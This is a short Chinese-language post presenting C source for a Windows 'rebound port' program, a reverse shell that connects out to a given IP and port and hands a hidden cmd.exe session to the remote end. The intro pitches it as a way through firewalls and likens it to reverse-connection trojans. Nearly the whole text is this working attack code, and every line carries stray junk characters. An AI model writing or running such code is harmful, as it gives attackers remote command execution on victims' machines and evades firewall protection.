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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iTdamu`L  
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/* ============================== {9|*au(K  
Rebound port in Windows NT ;|XX^  
By wind,2006/7 0#'MR.,  
===============================*/ g"'BsoJ  
#include zx8@4?bK  
#include *^; MWI  
M {'(+a[  
#pragma comment(lib,"wsock32.lib") ?;UR9f|!  
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void OutputShell(); pe,y'w{  
SOCKET sClient; 'C7R* P  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aO}hE 2]  
<L8FI78[*  
void main(int argc,char **argv) i75\<X  
{ e%ro7~  
WSADATA stWsaData; 8dx 7@y?z  
int nRet; b/oNQQM#Dk  
SOCKADDR_IN stSaiClient,stSaiServer; ^zT=qB l  
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if(argc != 3) w2b(,w  
{ (5Q<xJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); |PYyhY  
return; -a|b.p  
} ua=7YG  
V!. Y M)B  
WSAStartup(MAKEWORD(2,2),&stWsaData); sbVEA  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C=Fu1Hpb  
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stSaiClient.sin_family = AF_INET; Sx~mc_ekY  
stSaiClient.sin_port = htons(0); R*cef  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W.{+0xx  
H~#$AD+H  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JT<JS6vw#  
{ 'tkQz  
printf("Bind Socket Failed!\n"); MaPhG<?  
return; %$b}o7U"s  
} UzSDXhzObf  
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stSaiServer.sin_family = AF_INET; O251. hXK  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8MDivr/@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); on8$Kc  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F ]D^e{y  
{ 73!NoDxb  
printf("Connect Error!"); $tW E9_  
return; %}N01P|X>  
}  y"Fu=  
OutputShell(); tkptm%I _  
} '6\w4J(  
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void OutputShell() f:P;_/cJc  
{ lz>.mXdx  
char szBuff[1024]; nt&% sM-X  
SECURITY_ATTRIBUTES stSecurityAttributes; `%Kj+^|DS  
OSVERSIONINFO stOsversionInfo; 5G2ueRVb  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qh}+b^Wi  
STARTUPINFO stStartupInfo;  = v?V  
char *szShell; YwH Fn+  
PROCESS_INFORMATION stProcessInformation; O+'k4  
unsigned long lBytesRead; @Jd eOL;  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mV"F<G; H  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U . <c#S  
stSecurityAttributes.lpSecurityDescriptor = 0; RFe># o  
stSecurityAttributes.bInheritHandle = TRUE; Y@UW\d*'%I  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 46l*ui_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gL| 9hvHr[  
VFq\{@- %  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ".AW   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @$p6w  
stStartupInfo.wShowWindow = SW_HIDE; d5 ]-{+V+  
stStartupInfo.hStdInput = hReadPipe; RJ4=AA|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )2d1@]6#  
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GetVersionEx(&stOsversionInfo); nip*Y@-F  
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switch(stOsversionInfo.dwPlatformId) lxD~l#)^ln  
{ _E0yzkS  
case 1: 2C"i2/NH'  
szShell = "command.com"; c?c"|.-<p  
break; x)%"i)  
default: *<{hLf  
szShell = "cmd.exe"; fK(:vwh  
break; j)Q}5M  
} * >NML]#0  
})mD{c/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [<^'}-SJ  
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send(sClient,szMsg,77,0); GX.a!XQ@!  
while(1) p@DVy2,EY  
{ y^X]q[-?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8c%N+E]  
if(lBytesRead) j{t r''yN  
{ w9x5IRWk  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E 6Uj8]P`  
send(sClient,szBuff,lBytesRead,0); ?u{Mz9:?HT  
} !qH)ttW  
else ^{8CShUCv  
{ X`E}2|q'  
lBytesRead=recv(sClient,szBuff,1024,0); {~\:4  
if(lBytesRead<=0) break; r|bGn#^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #{)mr [c|  
} -0CL#RzKR  
} o {q8An)  
WwKpZ67$R  
return; 3-0jxx(  
}
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